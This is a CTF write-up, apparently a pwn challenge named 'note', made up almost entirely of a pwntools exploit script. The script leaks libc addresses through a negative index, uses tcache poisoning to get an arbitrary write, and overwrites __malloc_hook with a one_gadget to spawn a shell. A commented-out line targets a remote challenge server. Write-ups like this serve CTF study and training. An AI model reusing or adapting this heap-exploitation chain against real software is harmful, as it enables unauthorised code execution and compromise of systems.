Rating:

```python
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
myelf = ELF("./note")
libc = ELF("./libc.so.6")
ld = ELF("./ld-2.29.so")
io = process(argv=[ld.path,myelf.path],env={"LD_PRELOAD" : libc.path})
#io = remote("124.156.135.103",6004)

sla = lambda delim,data : (io.sendlineafter(delim, data))
sa = lambda delim,data : (io.sendafter(delim, data))
new = lambda index,size : (sla("Choice: ","1"),sla("Index: ",str(index)),sla("Size: ",str(size)))
sell = lambda index : (sla("Choice: ","2"),sla("Index: ",str(index)))
show = lambda index : (sla("Choice: ","3"),sla("Index: ",str(index)))
edit = lambda index,message : (sla("Choice: ","4"),sla("Index: ",str(index)),sla("Message: \n",message))
name = lambda name : (sla("Choice: ","6"),sla("name: \n",name))
overedit = lambda index,message : (sla("Choice: ","7"),sla("Index: ",str(index)),sa("Message: \n",message))

# leak libc & bss
show(-5)
data_addr = u64(io.recv(8)) ; io.recv(16)
libc.address = u64(io.recv(8)) - 0x1e5760
one_gadget = libc.address+0xe237f
show(-5); bss = io.recv(0x70)

# use -5 to set money and over the one time chance
setmoney = lambda money : (edit(-5,p64(data_addr)+p64(money)))
overflow = lambda idx,data : (edit(-5,p64(data_addr)+p64(0x996)+p32(1)),overedit(idx,data))

# set money to allow new and name function
New = lambda idx,size : (setmoney(0x99600),new(idx,size))
Name = lambda data : (setmoney(0x9960000),name(data),edit(-5,bss))

# use tcache poisoning to arbitrary address write
def aaw(addr,data):
New(0,0x50);New(1,0x50);sell(1) # put one chunk to tcache list
overflow(0,"1"*0x58+p64(0x61)+p64(addr)) # overflow tcache fd to addr
Name("a") # use malloc to get addr
Name(data) # modify addr content to data

# modify __malloc_hook to onegadget and trigger it
aaw(libc.symbols['__malloc_hook'],p64(one_gadget))
setmoney(0x9960000);sla("Choice: ","6")
io.interactive()
```

Original writeup (https://xuanxuanblingbling.github.io/ctf/pwn/2020/06/01/note/).